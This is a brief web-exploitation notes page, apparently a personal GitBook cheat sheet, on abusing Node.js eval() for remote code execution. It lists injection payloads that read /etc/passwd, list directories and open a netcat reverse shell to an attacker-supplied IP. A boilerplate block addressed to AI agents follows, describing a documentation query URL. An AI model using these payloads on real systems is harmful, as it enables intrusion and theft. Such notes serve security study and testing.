# Web Exploitation 🕸️

## Node.js eval() to RCE

Using direct `eval()` can cause remote code execution if not properly validate or sanitize the input. This will lead to abuse of modules such as `process`, `fs` (file system) and `child_process` modules.

```javascript
process.cwd()     // print current directory


require('fs').readdirSync('/app').toString()     // same as dir & ls for listing the directory


require('fs').readFileSync("/etc/passwd").toString()      // read content of the file


require("child_process").exec('nc {ip} {port} -e /bin/sh')     // rce lead to reverse shell
```

## To be continue..


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ad3n.gitbook.io/ad3n/home/notes/web-exploitation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
